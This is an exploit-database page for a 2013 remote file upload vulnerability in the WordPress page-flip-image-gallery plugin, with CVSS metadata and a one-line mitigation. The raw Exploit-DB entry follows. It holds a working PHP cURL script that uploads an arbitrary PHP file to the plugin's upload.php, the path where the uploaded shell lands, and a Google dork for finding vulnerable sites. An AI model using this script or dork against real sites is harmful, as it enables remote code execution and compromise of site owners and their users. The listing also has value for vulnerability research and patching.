header-logo
Suggest Exploit
vendor:
Wordpress page-flip-image-gallery plugin
by:
Ashiyane Digital Security Team
8,8
CVSS
HIGH
Remote File Upload Vulnerability
434
CWE
Product Name: Wordpress page-flip-image-gallery plugin
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows/Linux
2013

WordPress page-flip-image-gallery plugins Remote File Upload Vulnerability

A vulnerability exists in the Wordpress page-flip-image-gallery plugin which allows an attacker to upload a malicious file to the server. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the upload.php file. This will allow the attacker to upload a malicious file to the server, which can be used to execute arbitrary code.

Mitigation:

Update to the latest version of the plugin and ensure that all plugins are up to date.
Source

Exploit-DB raw data:

###############################################################
# Exploit Title: Wordpress page-flip-image-gallery plugins Remote File
Upload Vulnerability
# Author: Ashiyane Digital Security Team
# Date: 12/06/2013
# Vendor Homepage: http://pageflipgallery.com
# Software Link :
http://downloads.wordpress.org/plugin/page-flip-image-gallery.zip
# Google dork: inurl:/wp-content/plugins/page-flip-image-gallery/
# Tested on: Windows/Linux
###############################################################

1)Exploit :
= = = = = =

<?php
$uploadfile="file.php";
$ch = curl_init("
http://127.0.0.1/wp-content/plugins/page-flip-image-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

http://[Target]/wp-content/uploads/file.php

# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# E-mail : poya.terminator@gmail.com
# #### #### #### #### #### #### #### #### #